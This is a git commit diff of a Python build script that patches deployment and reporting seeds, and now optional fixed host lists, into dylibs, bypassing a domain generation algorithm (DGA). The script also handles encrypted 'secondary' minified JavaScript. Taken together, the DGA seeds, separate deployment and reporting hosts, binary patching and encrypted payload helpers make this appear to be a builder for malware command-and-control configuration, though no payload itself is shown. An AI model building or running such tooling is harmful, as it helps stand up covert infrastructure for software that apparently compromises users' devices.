This commit is contained in:
hashbro
2026-08-05 04:04:06 +08:00
parent 7f35e04634
commit d4fb538997
94 changed files with 921 additions and 135 deletions
+39 -1
View File
@@ -20,6 +20,7 @@ from _common import (
tree_root,
validate_seed_arg,
)
from _domain_patch import parse_domain_list, patch_fixed_domains_in_dylib
from _secondary_pack import decrypt_secondary_minjs, encrypt_secondary_minjs
import _common
@@ -56,9 +57,33 @@ def main() -> int:
action="store_true",
help="also copy outputs into <root>/web/.../",
)
parser.add_argument(
"--deployment-domains",
action="append",
default=[],
help="fixed Deployment hosts (comma-separated or repeatable); skips DGA",
)
parser.add_argument(
"--reporting-domains",
action="append",
default=[],
help="fixed Reporting hosts (comma-separated or repeatable); skips DGA",
)
args = parser.parse_args()
dep = validate_seed_arg("--deployment-seed", args.deployment_seed)
rep = validate_seed_arg("--reporting-seed", args.reporting_seed)
fixed_dep = (
parse_domain_list(args.deployment_domains, label="deployment")
if args.deployment_domains
else None
)
fixed_rep = (
parse_domain_list(args.reporting_domains, label="reporting")
if args.reporting_domains
else None
)
if bool(fixed_dep) != bool(fixed_rep):
raise SystemExit("provide both --deployment-domains and --reporting-domains, or neither")
if args.root:
set_tree_root(args.root)
@@ -79,7 +104,7 @@ def main() -> int:
for group, path in GROUP_DYLIBS.items():
if not path.is_file():
raise SystemExit(f"missing source dylib: {path}")
patched[group] = patch_seeds_in_dylib(
data = patch_seeds_in_dylib(
path.read_bytes(),
dep,
rep,
@@ -87,6 +112,16 @@ def main() -> int:
expect_rep=1,
label=path.name,
)
if fixed_dep is not None and fixed_rep is not None:
data = patch_fixed_domains_in_dylib(
data,
fixed_dep,
fixed_rep,
deployment_seed=dep,
reporting_seed=rep,
label=path.name,
)
patched[group] = data
print(
f"group {group}: patched {path.name} "
f"sha256={sha256_hex(patched[group])[:16]}… size={len(patched[group])}"
@@ -121,6 +156,9 @@ def main() -> int:
manifest = {
"deployment_seed": dep,
"reporting_seed": rep,
"mode": "fixed_domains" if fixed_dep is not None else "dga",
"deployment_domains": fixed_dep,
"reporting_domains": fixed_rep,
"files": built,
"group_dylib_sha256": {g: sha256_hex(d) for g, d in patched.items()},
}